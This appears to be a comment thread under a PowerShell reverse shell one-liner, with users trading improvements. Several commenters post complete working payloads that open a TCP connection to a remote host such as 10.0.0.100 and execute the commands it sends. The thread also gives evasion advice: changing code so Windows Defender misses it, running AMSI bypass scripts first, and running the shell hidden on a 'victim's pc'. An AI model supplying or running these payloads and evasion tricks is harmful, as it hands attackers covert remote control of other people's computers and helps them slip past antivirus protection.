Hi, Kindly check my fork.
Just a small change to the way commands are run to ensure any non-stdout text is sent back. (except for confirmation prompts).
Without this, due to the way in which the output of a command run by Invoke-Expression is handled, stderr output never gets sent back even with '2>&1' specified in your current format.
Thanks,
i tried to run it silently by -WindowsStyle Hidden -NoLog but it not working , how can i run it silently
The Windows Defender action is triggerd by the "(pwd).Path" call in the code. Try running the following:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.100',4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PSReverseShell# ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}$client.Close();"
This actually still works and doesn't trigger anything
Hi, can someone explain how this exactly works? Why is (pwd).Path triggers the antivirus. And is this reverse shell only available until a restart of the victim's pc? I didn't found any explanation online. Thanks in advance.
good job!
It detected AMSI. but I used amsi bypass script before this script running.so this script runs successfully!
Looks like the shell did not return stderr, is it possible to return stderr as well?
hey @mappl3, feel free to add this in your fork and i'll update it ;) . you can also append 2>&1
to the end of a command to get stderr
Got stderr working with this modification:
$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
And if you want to catch some errors:
$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);try { $sendback = (iex ". { $data } 2>&1" | Out-String ); } catch { $sendback = "$_`n"}; $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
that's the one-liner updated with your addition for stderr. thanks for your contribution @Veids!

How would I run this from a bat file and what book do you recommend to learn powershell scripting on this level
